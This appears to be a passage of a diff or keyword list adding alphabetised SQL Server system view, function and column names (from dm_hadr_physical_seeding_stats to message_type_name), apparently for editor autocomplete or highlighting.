+dm_hadr_physical_seeding_stats +dm_hpc_device_stats +dm_hpc_thread_proxy_stats +dm_io_backup_tapes +dm_io_cluster_shared_drives +dm_io_cluster_valid_path_names +dm_io_pending_io_requests +dm_io_virtual_file_stats +dm_logconsumer_cachebufferrefs +dm_logconsumer_privatecachebuffers +dm_logpool_consumers +dm_logpool_hashentries +dm_logpoolmgr_freepools +dm_logpoolmgr_respoolsize +dm_logpoolmgr_stats +dm_logpool_sharedcachebuffers +dm_logpool_stats +dm_os_buffer_descriptors +dm_os_buffer_pool_extension_configuration +dm_os_child_instances +dm_os_cluster_nodes +dm_os_cluster_properties +dm_os_dispatcher_pools +dm_os_dispatchers +dm_os_enumerate_filesystem +dm_os_enumerate_fixed_drives +dm_os_file_exists +dm_os_host_info +dm_os_hosts +dm_os_job_object +dm_os_latch_stats +dm_os_loaded_modules +dm_os_memory_allocations +dm_os_memory_broker_clerks +dm_os_memory_brokers +dm_os_memory_cache_clock_hands +dm_os_memory_cache_counters +dm_os_memory_cache_entries +dm_os_memory_cache_hash_tables +dm_os_memory_clerks +dm_os_memory_node_access_stats +dm_os_memory_nodes +dm_os_memory_objects +dm_os_memory_pools +dm_os_nodes +dm_os_performance_counters +dm_os_process_memory +dm_os_ring_buffers +dm_os_schedulers +dm_os_server_diagnostics_log_configurations +dm_os_spinlock_stats +dm_os_stacks +dm_os_sublatches +dm_os_sys_info +dm_os_sys_memory +dm_os_tasks +dm_os_threads +dm_os_virtual_address_dump +dm_os_volume_stats +dm_os_waiting_tasks +dm_os_wait_stats +dm_os_windows_info +dm_os_worker_local_storage +dm_os_workers +dm_pal_cpu_stats +dm_pal_disk_stats +dm_pal_net_stats +dm_pal_processes +dm_pal_spinlock_stats +dm_pal_vm_stats +dm_pal_wait_stats +dm_qn_subscriptions +dm_repl_articles +dm_repl_schemas +dm_repl_tranhash +dm_repl_traninfo +dm_request_phases +dm_resource_governor_configuration +dm_resource_governor_external_resource_pool_affinity +dm_resource_governor_external_resource_pools +dm_resource_governor_resource_pool_affinity +dm_resource_governor_resource_pools +dm_resource_governor_resource_pool_volumes +dm_resource_governor_workload_groups +dms_core_id +dms_cpid +dm_server_audit_status +dm_server_memory_dumps +dm_server_registry +dm_server_services +dm_sql_referenced_entities +dm_sql_referencing_entities +dms_step_index +dm_tcp_listener_states +dm_toad_tuning_zones +dm_toad_work_item_handlers +dm_toad_work_items +dm_tran_aborted_transactions +dm_tran_active_snapshot_database_transactions +dm_tran_active_transactions +dm_tran_commit_table +dm_tran_current_snapshot +dm_tran_current_transaction +dm_tran_database_transactions +dm_tran_global_recovery_transactions +dm_tran_global_transactions +dm_tran_global_transactions_enlistments +dm_tran_global_transactions_log +dm_tran_locks +dm_tran_persistent_version_store +dm_tran_persistent_version_store_stats +dm_tran_session_transactions +dm_tran_top_version_generators +dm_tran_transactions_snapshot +dm_tran_version_store +dm_tran_version_store_space_usage +dm_xcs_enumerate_blobdirectory +dm_xe_map_values +dm_xe_object_columns +dm_xe_objects +dm_xe_packages +dm_xe_session_event_actions +dm_xe_session_events +dm_xe_session_object_columns +dm_xe_sessions +dm_xe_session_targets +dm_xtp_gc_queue_stats +dm_xtp_gc_stats +dm_xtp_system_memory_consumers +dm_xtp_threads +dm_xtp_transaction_recent_rows +dm_xtp_transaction_stats +dns_name +doc_failed +document_count +document_id +document_processed_count +document_type +domain +DOMAIN_CATALOG +DOMAIN_CONSTRAINTS +DOMAIN_DEFAULT +DOMAIN_NAME +DOMAINS +DOMAIN_SCHEMA +dop +dormant_duration +dormant_duration_ms +downgrade_start_level +downgrade_target_level +dpages +dpub +DriveName +drive_type +drive_type_desc +drop_lsn +droplsn +dropped +dropped_buffer_count +dropped_event_count +dropped_lob_column_state +drop_table_memory_attempts +drop_table_memory_failures +ds_hobtid +dtc_isolation_level +dtc_state +dtc_status +dtc_support +DTD_IDENTIFIER +durability +durability_desc +duration +Duration +duration_milliseconds +ec_address +ecid +edge_constraint_clauses +edge_constraints +effective_cap_percentage_resource +effective_max_dop +effective_min_percentage_resource +effective_request_max_resource_grant_percent +effective_request_min_resource_grant_percent +elapsed_avg_ms +elapsed_max_ms +elapsed_time +elapsed_time_ms +elapsed_time_seconds +empty_bucket_count +empty_scan_count +enabled +encalg +encoding +encoding_type +encrtype +encrypted +encrypted_value +encryption_algorithm +encryption_algorithm_desc +encryption_algorithm_name +encryption_scan_modify_date +encryption_scan_state +encryption_scan_state_desc +encryption_state +encryption_state_desc +encryption_status +encryption_status_desc +encryption_type +encryption_type_desc +encrypt_option +encryptor_thumbprint +encryptor_type +end_checkpoint_id +end_column_id +end_compile_time +end_dialog_sequence +enddlgseq +ended_count +end_log_block_id +end_lsn +end_of_log_lsn +end_of_scan_count +endpoint +endpoint_id +endpoints +endpoint_url +endpoint_webmethods +end_quantum +end_time +EndTime +end_time_utc +end_tsn +end_xact_lsn +engine_version +enlist_count +enlistment_state +enqtime +enqueued_count +enqueued_tasks_count +enqueue_failed_duplicate_count +enqueue_failed_full_count +enqueue_time +entity_id +entity_name +entries_count +entries_in_use_count +entry_address +entry_count +entry_data +entry_data_address +entry_scan_direction +entry_time +enum +environ +environment_variables +epoch +equality_columns +equal_rows +error +Error +error_code +error_count +error_id +error_message +error_number +error_severity +error_state +error_timestamp +error_type +error_type_desc +estimated_completion_time +estimated_read_row_count +estimated_rows +estimate_row_count +estimate_time_complete_utc +etag +event +EventClass +event_count +event_data +event_entry_point +event_group_type +event_group_type_desc +event_handle +event_id +eventid +event_info +event_message +event_name +EventNotificationErrorsQueue +event_notification_event_types +event_notifications +event_package_guid +event_predicate +event_retention_mode +event_retention_mode_desc +events +EventSequence +event_session_address +event_session_id +EventSubClass +event_time +event_type +exception_address +exception_num +exception_severity +exclusive_access_count +exec_context_id +execute_action_duration +execute_action_initiated_by +execute_action_initiated_time +execute_action_start_time +execute_as +execute_as_principal_id +executing_managed_code +execution_count +execution_duration_ms +execution_id +execution_type +execution_type_desc +expansion_type +expiry_date +extended_procedures +extended_properties +extensibility_ctxt_address +extent_file_id +extent_page_id +external_benefit +external_data_sources +external_file_formats +external_job_streams +EXTERNAL_LANGUAGE +external_language_files +external_language_id +external_languages +external_libraries +external_libraries_installed +external_libraries_installed_table +external_library_files +external_library_id +external_library_setup_errors +external_library_setup_failures +EXTERNAL_NAME +external_pool_id +external_script_request_id +external_stream_columns +external_streaming_jobs +external_streams +external_table_columns +external_tables +external_user_name +extractor +facet_id +fade_end_time +failed_giveup_count +failed_lock_count +failed_other_count +failed_sessions_count +failed_to_create_worker +failover_mode +failover_mode_desc +failure_code +failure_condition_level +FailureConditionLevel +failure_message +failure_state +failure_state_desc +failure_time_utc +family_guid +familyid +fanout +farbrkrinst +far_broker_instance +farprincid +far_principal_id +far_service +farsvc +fcb_id +fcompensated +fcomplete +fdhost_id +fdhost_name +fdhost_process_id +fdhost_type +feature_id +feature_name +feature_type_name +federated_service_account +federatedxact_address +fetch_buffer_size +fetch_buffer_start +fetch_status +fgfragid +fgguid +fgid +fgidfs +fiber_address +fiber_context_address +fiber_data +field_terminator +file_context +file_exists +file_format_id +filegroup_guid +filegroup_id +filegroups +file_guid +fileguid +file_handle +FileHandle +file_id +fileid +FileId +file_is_a_directory +file_name +filename +FileName +filename_collation_id +filename_collation_name +file_object_type +file_object_type_desc +file_offset +file_or_directory_name +file_position +file_size_in_bytes +file_size_used_in_bytes +filestate +filestream_address +filestream_data_space_id +filestream_filegroup_id +filestream_guid +filestream_send_rate +filestream_transaction_id +file_system_type +filetables +filetable_system_defined_objects +file_type +filetype +file_type_desc +file_version +fillfact +fill_factor +filter_definition +filter_predicate +finitiator +fInReconcile +first +first_active_time +first_begin_cdc_lsn +first_begin_lsn +first_child +first_execution_time +FirstIAM +first_iam_page +first_lsn +firstoorder +first_out_of_order_sequence +first_page +first_recovery_fork_guid +first_row +first_row_time +first_snapshot_sequence_num +firstupdatelsn +first_useful_sequence_num +fixed_drive_path +fixed_length +fkey +fkey1 +fkey10 +fkey11 +fkey12 +fkey13 +fkey14 +fkey15 +fkey16 +fkey2 +fkey3 +fkey4 +fkey5 +fkey6 +fkey7 +fkey8 +fkey9 +fkeydbid +fkeyid +flag_desc +flags +Flags +float +flush_interval_seconds +fn_builtin_permissions +fn_cColvEntries_80 +fn_cdc_check_parameters +fn_cdc_decrement_lsn +fn_cdc_get_column_ordinal +fn_cdc_get_max_lsn +fn_cdc_get_min_lsn +fn_cdc_has_column_changed +fn_cdc_hexstrtobin +fn_cdc_increment_lsn +fn_cdc_is_bit_set +fn_cdc_is_ddl_handling_enabled +fn_cdc_map_lsn_to_time +fn_cdc_map_time_to_lsn +fn_check_object_signatures +fn_column_store_row_groups +fn_db_backup_file_snapshots +fn_dblog +fn_dblog_xtp +fn_dbslog +fn_dump_dblog +fn_dump_dblog_xtp +fn_EnumCurrentPrincipals +fn_fIsColTracked +fn_full_dblog +fn_get_audit_file +fn_GetCurrentPrincipal +fn_getproviderstring +fn_GetRowsetIdFromRowDump +fn_getserverportfromproviderstring +fn_get_sql +fn_hadr_backup_is_preferred_replica +fn_hadr_distributed_ag_database_replica +fn_hadr_distributed_ag_replica +fn_hadr_is_primary_replica +fn_hadr_is_same_replica +fn_helpcollations +fn_helpdatatypemap +fn_IsBitSetInBitmask +fn_isrolemember +fn_listextendedproperty +fn_MapSchemaType +fn_MSdayasnumber +fn_MSgeneration_downloadonly +fn_MSget_dynamic_filter_login +fn_MSorbitmaps +fn_MSrepl_getsrvidfromdistdb +fn_MSrepl_map_resolver_clsid +fn_MStestbit +fn_MSvector_downloadonly +fn_MSxe_read_event_stream +fn_my_permissions +fn_numberOf1InBinaryAfterLoc +fn_numberOf1InVarBinary +fn_PageResCracker +fn_PhysLocCracker +fn_PhysLocFormatter +fn_repladjustcolumnmap +fn_repldecryptver4 +fn_replformatdatetime +fn_replgetcolidfrombitmap +fn_replgetparsedddlcmd +fn_repl_hash_binary +fn_replp2pversiontotranid +fn_replreplacesinglequote +fn_replreplacesinglequoteplusprotectstring +fn_repluniquename +fn_replvarbintoint +fn_RowDumpCracker +fn_servershareddrives +fn_sqlagent_job_history +fn_sqlagent_jobs +fn_sqlagent_jobsteps +fn_sqlagent_jobsteps_logs +fn_sqlagent_subsystems +fn_sqlvarbasetostr +fn_stmt_sql_handle_from_sql_stmt +fn_trace_geteventinfo +fn_trace_getfilterinfo +fn_trace_getinfo +fn_trace_gettable +fn_translate_permissions +fn_validate_plan_guide +fn_varbintohexstr +fn_varbintohexsubstring +fn_virtualfilestats +fn_virtualservernodes +fn_xcs_get_file_rowcount +fn_xe_file_target_read_file +fn_yukonsecuritymodelrequired +forced_grant_count +forced_yield_count +force_failure_count +foreign_committed_kb +foreign_key_columns +foreign_keys +forkeys +forkguid +forkid +forklsn +fork_point_lsn +forkvc +format_type +forwarded_fetch_count +forwarded_record_count +fp2p_pub_exists +fprocessingtext +fPubAllowUpdate +fragid +fragment_bitmap +fragment_count +fragment_id +fragment_object_id +fragment_size +fragobjid +frame_address +frame_index +free_bytes +free_bytes_offset +free_entries_count +free_ref_slot_occupied +free_space_in_bytes +free_worker_count +frequency_check_ticks +frequent +friendly_name +frombrkrinst +from_broker_instance +from_object_id +from_service_name +fromsvc +fsinfo_address +ftcatid +full_block_only +full_filesystem_path +full_incremental_population_count +fulltext_catalog_id +fulltext_catalogs +fulltext_document_types +fulltext_index_catalog_usages +fulltext_index_columns +fulltext_indexes +fulltext_index_fragments +fulltext_index_page_count +fulltext_languages +fulltext_semantic_languages +fulltext_semantic_language_statistics_database +fulltext_stoplists +fulltext_stopwords +fulltext_system_stopwords +function_id +function_order_columns +future_allocations_kb +future_interest +gam_page_id +gam_status +gam_status_desc +generated_always_type +generated_always_type_desc +generate_time +generation +generation_id +geography +GeographyCollectionAggregate +GeographyConvexHullAggregate +GeographyEnvelopeAggregate +GeographyUnionAggregate +geometry +GeometryCollectionAggregate +GeometryConvexHullAggregate +GeometryEnvelopeAggregate +GeometryUnionAggregate +ghost_rec_count +ghost_record_count +ghost_version_inrow +ghost_version_offrow +gid +gq_address +granted_memory_kb +granted_query_memory +grantee +GRANTEE +grantee_count +grantee_principal_id +grantor +GRANTOR +grantor_principal_id +grant_time +graph_type +graph_type_desc +group_database_id +group_handle +group_id +groupid +GroupID +group_max_requests +group_name +groupname +groupuid +growth +grpid +guid +GUID +guid_identifier +handle +Handle +handle_context_address +handle_count +handle_id +hardened_recovery_lsn +hardened_root_file_guid +hardened_root_file_watermark +hardened_truncation_lsn +hardware_generation +hasaccess +has_checksum +has_crawl_completed +hasdbaccess +has_default +has_default_value +has_filter +has_ghost_records +hash +hash_bucket_count +hash_column_ordinal +hashed_trans +hash_hits +hash_hit_total_search_length +hash_indexes +hash_key +hash_misses +hash_miss_total_search_length +has_integrity_stream +has_long_running_target +has_nulls +has_opaque_metadata +has_persisted_sample +has_replication_filter +has_restricted_text +has_snapshot +has_unchecked_assembly_data +has_version_records +has_vertipaq_optimization +hbcolid +hdrpartlen +hdrseclen +header_limit +health_check_timeout +HealthCheckTimeout +health_error_message +health_status +heart_beat +hidden_column +hierarchyid +high +high_weight_cache_buffer_count +hints +history +history_retention_period +history_retention_period_unit +history_retention_period_unit_desc +history_table_id +hits_count +hobt_id +hops_remaining +host_address +host_architecture +host_distribution +host_name +hostname +HostName +host_platform +hostprocess +host_process_id +host_release +host_service_pack_level +host_sku +host_task_address +host_to_device_bytes +hr_batch +http_endpoints +hyperthread_ratio +id +ideal_memory_kb +ideal_workers_limit +identity +identity_columns +idle +idle_attempts_count +idle_scheduler_count +idle_sessions +idle_switches_count +idle_time_cs +idle_worker_count +idmajor +idminor +idSch +idtval +ignore_dup_key +image +imageval +impid +importance +iname +inbound_session_key_identifier +incarnation_id +included_columns +incomplete +incomplete_cache_buffer +increment +INCREMENT +incremental_timestamp +increment_value +incurs_seek_penalty +indepclass +indepdb +indepid +indepname +indepschema +indepserver +indepsubid +index_column_id +index_columns +indexdel +index_depth +indexes +index_group_handle +index_handle +index_id +indexid +IndexID +index_level +index_lock_promotion_attempt_count +index_lock_promotion_count +index_resumable_operations +index_scan_count +index_type_desc +indid +inequality_columns +info +information_type +information_type_id +initial_compile_start_time +INITIALLY_DEFERRED +initiator +inline_type +in_progress +input_groupby_row_count +input_name +input_options +in_row_data_page_count +inrow_diff_version_record_count +InRowLength +in_row_reserved_page_count +in_row_used_page_count +inrow_version_record_count +insert_over_ghost_version_inrow +insert_over_ghost_version_offrow +inseskey +inseskeyid +install_failures +instance_id +instance_name +instance_pipe_name +instant_file_initialization_enabled +instrig +instruction_address +int +IntegerData +IntegerData2 +interface +internal_benefit +internal_bit_position +internal_error_code +internal_freed_kb +internal_null_bit +internal_object_reserved_page_count +internal_objects_alloc_page_count +internal_objects_dealloc_page_count +internal_object_type +internal_object_type_desc +internal_offset +internal_pages +internal_partitions +internal_state_desc +internalstatus +internal_storage_slot +internal_tables +internal_type +internal_type_desc +interrupt_cnt +interval_length_minutes +INTERVAL_PRECISION +INTERVAL_TYPE +int_identifier +intprop +intPublicationOptions +in_use_count +io_busy +io_bytes_read +io_bytes_written +io_completion_request_address +io_completion_routine_address +io_completion_worker_address +io_handle +io_handle_path +io_issue_ahead_total_ms +io_issue_delay_non_throttled_total_ms +io_issue_delay_total_ms +io_issue_violations_total +io_offset +io_pending +io_pending_ms_ticks +io_read_bytes +io_read_operations +ios_in_progess +io_stall +IoStallMS +io_stall_queued_read_ms +io_stall_queued_write_ms +io_stall_read_ms +IoStallReadMS +io_stall_write_ms +IoStallWriteMS +io_time_ms +io_type +io_user_data_address +iowait_time_cs +io_wait_time_in_ms +io_write_bytes +io_write_operations +ip_address +ip_configuration_string_from_cluster +ipipename +ip_subnet_mask +irp_id +irq_time_cs +is_abstract +is_accelerated_database_recovery_on +is_accent_sensitivity_on +is_accept +is_activation_enabled +is_active +is_active_for_begin_dialog +is_admin_endpoint +is_advanced +isaliased +is_all_columns_found +is_allocated +is_ambiguous +is_anonymous_enabled +is_anonymous_on +is_ansi_null_default_on +is_ansi_nulls_on +is_ansi_padded +is_ansi_padding_on +is_ansi_warnings_on +is_anti_matter +isapprole +is_arithabort_on +is_assembly_type +is_async_population +is_auto +is_auto_cleanup_on +is_auto_close_on +is_auto_create_stats_incremental_on +is_auto_create_stats_on +is_auto_executed +is_autogrow_all_files +is_auto_shrink_on +is_auto_update_stats_async_on +is_auto_update_stats_on +is_available +is_basic_auth_enabled +is_binary_ordered +is_bound +is_boundedupdate_singleton +is_broker_enabled +is_cached +is_cache_key +is_caller_dependent +is_case_sensitive +is_cdc_enabled +is_cleanly_shutdown +is_clear_port_enabled +is_close_on_commit +is_clouddb_internal_query +is_clustered +is_clustered_index_scan +is_cluster_shared_volume +is_collation_compatible +is_column_permission +is_column_set +is_columnstore +is_commit_participant +is_compressed +is_compression_enabled +is_computed +iscomputed +is_computed_column +is_concat_null_yields_null_on +is_configured +is_conformant +is_contained +is_conversation_error +is_currently_dst +is_current_owner +is_cursor_close_on_commit_on +is_cursor_ref +is_cycling +is_damaged +is_data_access_enabled +is_database_joined +is_data_deletion_filter_column +is_data_retention_enabled +is_data_row_format +is_date_correlation_on +is_date_correlation_view +is_db_chaining_on +is_default +is_default_fixed +is_default_uri +IS_DEFERRABLE +is_delayed_durability +is_descending +is_descending_key +IS_DETERMINISTIC +is_dhcp +is_digest_auth_enabled +is_directory +is_dirty +is_disabled +is_distributed +is_distributed_network_name +is_distributor +is_dropped +is_dts_replicated +is_dynamic +is_dynamic_port +is_edge +is_emergent_mem +is_enabled +is_encrypted +is_encryption_enabled +is_end_of_dialog +is_enforced +is_enlisted +is_enqueue_enabled +is_event_logged +is_executable_action +is_execution_replicated +is_exhausted +is_expiration_checked +is_extension_blocked +is_external +is_failover_ready +is_fatal_exception +is_federation_member +is_fiber +is_filestream +is_filetable +is_filterable +is_final_extension +is_final_list_member +is_final_restriction +is_final_union_member +is_first +is_fixed +is_fixed_length +is_fixed_length_clr_type +is_fixed_role +is_forced_plan +is_free +is_fulltext_enabled +IS_GRANTABLE +is_group +is_hadron_consumed +is_hidden +is_honor_broker_priority_on +is_hypothetical +is_iam_page +is_identity +is_identity_column +is_idle +is_ignored_in_optimization +is_impersonating +IS_IMPLICITLY_INVOCABLE +is_importing +is_in_bpool_extension +is_in_cc_exception +is_included_column +is_incomplete +is_incremental +is_initiator +is_inlineable +is_in_polling_io_completion_routine +is_input +IsInrow +is_insert_all +is_inside_catch +is_installed +is_in_standby +is_instead_of_trigger +is_integrated_auth_enabled +is_internal_query +is_ipv4 +is_kerberos_auth_enabled +is_key +is_known_cdc_tran +is_last +is_linked +is_local +is_local_cursor_default +is_logged_for_replication +islogin +is_log_read_ahead +is_masked +is_master_key_encrypted_by_server +is_media_read_only +is_memory_optimized +is_memory_optimized_elevate_to_snapshot_on +is_memory_optimized_enabled +is_merge_published +is_message_forwarding_enabled +is_migration_paused +is_mixed_extent +is_mixed_page_allocation +is_mixed_page_allocation_on +is_modified +is_ms_shipped +is_name_reserved +is_natively_compiled +is_nested_triggers_on +is_next_candidate +is_nillable +is_node +is_non_sql_subscribed +is_nonsql_subscriber +is_not_for_replication +is_not_trusted +is_not_versioned +isntgroup +is_ntlm_auth_enabled +isntname +isntuser +is_nullable +isnullable +IS_NULLABLE +IS_NULL_CALL +is_numeric_roundabort_on +iso_level +is_online +is_online_index_plan +is_open +is_operator_audit +is_orphaned +isoutparam +is_output +is_padded +is_page_compressed +is_parallel_plan +is_parameterization_forced +is_part_of_encrypted_module +is_part_of_unique_key +is_passive +is_paused +is_pending_secondary_suspend +is_percent_growth +is_persisted +is_persistent_log_buffer +is_pit +is_poison_message_handling_enabled +is_policy_checked +is_preemptive +is_prepared +is_primary_key +is_primary_replica +is_public +is_published +is_publisher +is_pushed +is_qualified +is_query_store_on +is_quoted_identifier_on +is_rda_server +is_read_committed_snapshot_on +is_read_only +is_readonly +is_receive_enabled +is_receive_flow_controlled +is_recompiled +is_reconciled +is_reconfiguration_pending +IsRecordPrefixCompressed +is_recursive_triggers_on +isremote +is_remote_data_archive_enabled +is_remote_login_enabled +is_remote_proc_transaction_promotion_enabled +is_remote_task +is_repeatable +is_repeated_base +is_replay_consumed +is_repl_consumed +is_replicated +is_replication_specific +is_repl_serializable_only +is_restriction_blocked +IS_RESULT +is_result_set_caching_on +is_resumable +is_retention_enabled +is_retry +is_retry_batch +is_revertable_action +is_rollover +is_rowguidcol +is_rowset +is_rpc_out_enabled +is_schema_bound +is_schema_bound_reference +is_schema_published +is_select_all +is_selected +is_send_flow_controlled +is_sent_by_initiator +is_sent_by_target +is_sereplicated +is_session_context_enabled +is_session_enabled +is_shutdown +is_sick +is_signature_valid +is_signed +is_singleton +is_small +is_snapshot +is_source +is_sparse +IsSparse +is_sparse_column_set +is_speculative +is_sql_language_enabled +issqlrole +issqluser +is_ssl_port_enabled +is_stale_page_detection_on +is_state_enabled +is_subscribed +is_subscriber +is_substitution_blocked +issuer +issuer_name +is_supplemental_logging_enabled +is_suspended +is_suspended_sequence_number +IsSymbol +is_synchronized +is_sync_tran_subscribed +is_sync_with_backup +is_system +IsSystem +is_system_named +is_table_type +is_tempdb_spill_to_remote_store +is_temporal_history_retention_enabled +is_temporary +is_track_columns_updated_on +is_tracked_by_cdc +is_tran_consumed +is_transactional +is_transform_noise_words_on +is_trigger_event +is_trivial_plan +is_trustworthy_on +is_txn_owner +is_unique +is_unique_constraint +is_uniqueifier +IS_UPDATABLE +is_updateable +is_updated +is_user_defined +IS_USER_DEFINED_CAST +is_user_process +is_user_transaction +is_value_default +is_visible +is_waiting_on_loader_lock +is_xml_charset_enforced +is_xml_document +is_xquery_max_length_inferred +is_xquery_type_inferred +itemcnt +item_id +item_name +items_processed +job_id +job_tracker_location +join_state +join_state_desc +kernel_nonpaged_pool_kb +kernel_paged_pool_kb +kernel_time +key_algorithm +keycnt +KEY_COLUMN_USAGE +key_constraints +key_encryptions +key_guid +key_id +key_index_id +key_length +key_merge_count +key_merge_retry_count +key_name +keyno +key_ordinal +key_path +keyphrase_index_page_count +keys +key_split_count +key_split_retry_count +key_store_provider_name +key_thumbprint +key_type +keyword +kind +kind_desc +kpid +label +label_id +lang +langid +language +language_id +large_buffer_size +large_page_allocations_kb +largest_event_dropped_size +large_value_types_out_of_row +last_access +last_access_time +last_activated_time +last_active_time +last_activity_time +LAST_ALTERED +last_batch +last_bind_cpu_time +last_bind_duration +last_closed_checkpoint_ts +last_clr_time +last_columnstore_segment_reads +last_columnstore_segment_skips +last_commit_cdc_lsn +last_commit_cdc_time +last_commit_lsn +last_commit_time +last_compile_batch_offset_end +last_compile_batch_offset_start +last_compile_batch_sql_handle +last_compile_duration +last_compile_memory_kb +last_compile_start_time +last_connect_error_description +last_connect_error_number +last_connect_error_timestamp +last_cpu_time +last_dop +last_duration +last_elapsed_time +last_empty_rowset_time +last_end_lsn +last_error +last_event_time +last_execution_time +last_force_failure_reason +last_force_failure_reason_desc +last_grant_kb +last_hardened_lsn +last_hardened_time +last_id +last_ideal_grant_kb +last_log_backup_lsn +last_log_block_id +last_log_bytes_used +last_logical_io_reads +last_logical_io_writes +last_logical_reads +last_logical_writes +last_lsn +last_lsn_processed +last_max_dop_used +last_modified +last_modified_date +last_notification +last_num_page_server_reads +last_num_physical_io_reads +last_num_physical_reads +lastoorder +lastoorderfr +last_operation +last_optimize_cpu_time +last_optimize_duration +last_out_of_order_frag +last_out_of_order_sequence +last_page_server_io_reads +last_page_server_reads +last_parameterization_failure_reason +last_parse_cpu_time +last_parse_duration +last_pause_time +last_physical_io_reads +last_physical_reads +lastpkeybackup +last_query_hint_failure_reason +last_query_hint_failure_reason_desc +last_query_max_used_memory +last_query_wait_time_ms +last_read +lastreads +last_received_lsn +last_received_time +last_recovery_fork_guid +last_redone_lsn +last_redone_time +last_refresh +last_request_end_time +last_request_start_time +last_reserved_threads +last_round_start_time +last_rowcount +last_rows +last_row_time +lastrun +last_run_date +last_run_duration +last_run_outcome +last_run_retries +last_run_time +last_segment_lsn +last_send_tran_id +last_sent_lsn +last_sent_time +last_service_ticks +last_spills +last_sql_handle +last_startup_time +last_statement_end_offset +last_statement_sql_handle +last_statement_start_offset +last_successful_logon +last_system_lookup +last_system_scan +last_system_seek +last_system_update +last_tempdb_space_used +last_tick_time +lasttime +last_timer_activity +last_transaction_sequence_num +last_unsuccessful_logon +last_updated +last_updated_checkpoint_id +lastupdatelsn +last_update_time +last_used_grant_kb +last_used_threads +last_used_value +last_user_lookup +last_user_scan +last_user_seek +last_user_update +last_valid_restore_time +last_value +last_wait_type +lastwaittype +last_worker_time +last_write +lastwrites +last_write_time +latch_class +latency +lazy_schema_validation +lazyschemavalidation +lcid +leaf_allocation_count +leaf_bit_position +leaf_delete_count +leaf_ghost_count +leaf_insert_count +leaf_null_bit +leaf_offset +leaf_page_merge_count +leaf_pages +leaf_update_count +ledger_type +ledger_type_desc +ledger_view_id +ledger_view_type +ledger_view_type_desc +left_boundary +length +level +level_1_grid +level_1_grid_desc +level_2_grid +level_2_grid_desc +level_3_grid +level_3_grid_desc +level_4_grid +level_4_grid_desc +lgfgid +lgnid +lifetime +line_num +LineNumber +linked_logins +LinkedServerName +listener_id +lname +loadavg_1min +load_factor +load_time +lob_data_space_id +lobds +lob_fetch_in_bytes +lob_fetch_in_pages +lob_logical_read_count +lob_orphan_create_count +lob_orphan_insert_count +lob_page_server_read_ahead_count +lob_page_server_read_count +lob_physical_read_count +lob_read_ahead_count +lob_reserved_page_count +lob_used_page_count +local_database_id +local_database_name +locale +local_net_address +local_node +local_physical_seeding_id +local_principal_id +local_service_id +local_tcp_port +location +location_type +locked_page_allocations_kb +lock_escalation +lock_escalation_desc +lockflags +lock_on_bulk_load +lock_owner_address +lock_requestor_id +lockres +lock_timeout +lock_type +log_backup_lsn +log_backup_time +LogBlockGeneration +log_block_id +log_bytes_required +log_bytes_since_last_close +log_bytes_written +log_checkpoint_lsn +log_consumer_count +log_consumer_deleting +log_consumer_id_seed +log_consumer_ref_counter +log_consumption_deactivated +log_consumption_rate +log_end_lsn +log_filegroup_id +log_file_name +log_file_path +logical_database_id +logical_db_name +logical_device_name +logical_name +logical_operator +logical_path +logical_read_count +logical_reads +logical_row_count +logical_volume_name +log_id +loginame +login_id +login_name +loginname +LoginName +login_sid +loginsid +LoginSid +login_state +login_state_desc +login_time +login_token +login_type +log_IO_count +log_min_lsn +log_name +logpoolmgr_count +logpoolmgr_deleting +logpoolmgr_ref_counter +log_record_count +log_recovery_lsn +log_recovery_size_mb +log_reuse_wait +log_reuse_wait_desc +log_send_queue_size +log_send_rate +logshippingid +log_since_last_checkpoint_mb +log_since_last_log_backup_mb +log_source +log_space_in_bytes_since_last_backup +log_state +log_text +log_truncation_holdup_reason +lookaside_id +lost_events_count +low +lower_bound_tsn +low_mem_signal_threshold_mb +low_water_mark_for_ghosts +low_weight_cache_buffer_count +lsid +lsn +lstart +magnitude +major_id +major_num +major_version +manager_id +manager_role +manual_population_count +manufacturer +map_key +mapping_id +map_progress +map_value +masked_columns +masking_function +master_files +master_key_passwords +MATCH_OPTION +max_buffer_limit +max_chain_length +max_cleanup_version +max_clr_time +max_cmds_in_tran +max_column_id_used +max_columnstore_segment_reads +max_columnstore_segment_skips +max_compile_memory_kb +maxconn +max_count +max_cpu_percent +max_cpu_time +max_csn +max_data_id +max_deep_data +max_dispatch_latency +max_dop +max_duration +MAX_DYNAMIC_RESULT_SETS +max_elapsed_time +max_event_size +maxexectime +max_files +max_file_size +max_free_entries_count +max_grant_kb +max_ideal_grant_kb +maximum +MAXIMUM_CARDINALITY +maximum_queue_depth +maximum_value +MAXIMUM_VALUE +maxinrow +maxinrowlen +max_inrow_length +maxint +max_internal_length +max_iops_per_volume +maxirow +maxleaf +max_leaf_length +maxlen +max_length +max_log_bytes_used +max_logical_io_reads +max_logical_io_writes +max_logical_reads +max_logical_writes +max_memory +max_memory_kb +max_memory_percent +maxnullbit +max_null_bit_used +max_num_page_server_reads +max_num_physical_io_reads +max_num_physical_reads +maxoccur +max_occurences +max_outstanding_io_per_volume +max_overlap +max_page_server_io_reads +max_page_server_reads +max_pages_in_bytes +max_physical_io_reads +max_physical_reads +max_plans_per_query +max_processes +max_quantum +max_query_max_used_memory +max_query_wait_time_ms +max_readers +max_record_size_in_bytes +max_request_cpu_time_ms +max_request_grant_memory_kb +max_reserved_threads +max_rollover_files +max_rowcount +max_rows +max_size +maxsize +max_sizeclass +max_spills +max_storage_size_mb +max_target_memory_kb +max_tempdb_space_used +max_thread +max_thread_proxies +max_time +max_used_grant_kb +max_used_memory_kb +max_used_threads +max_used_worker_count +max_version_chain_traversed +max_wait_time +max_wait_time_ms +max_worker_count +max_workers_count +max_worker_threads +max_worker_time +mdversion +media_family_id +media_sequence_number +media_set_guid +media_set_name +member_name +member_principal_id +member_state +member_state_desc +member_type +member_type_desc +memberuid +memgrant_waiter_count +memory_address +memory_allocated_for_indexes_kb +memory_allocated_for_table_kb +memory_allocation_address +memory_broker_type +memory_clerk_address +memory_consumer_address +memory_consumer_desc +memory_consumer_id +memory_consumer_type +memory_consumer_type_desc +memory_limit_mb +memory_node_id +memory_object_address +memory_optimized_tables_internal_attributes +memory_partition_mode +memory_partition_mode_desc +memory_pool_address +memory_usage +memory_used_by_indexes_kb +memory_used_by_table_kb +memory_used_in_bytes +memory_utilization_percentage +memregion_memory_address +mem_status +mem_status_stamp +memusage +merge_action_type +merge_outstanding_merges +merge_stats_bytes_merged +merge_stats_kernel_time +merge_stats_log_blocks_merged +merge_stats_number_of_merges +merge_stats_user_time +message +message_body +message_enqueue_time +message_forwarding_size +message_fragment_number +message_id +messages +message_sequence_number +message_type_id +message_type_name 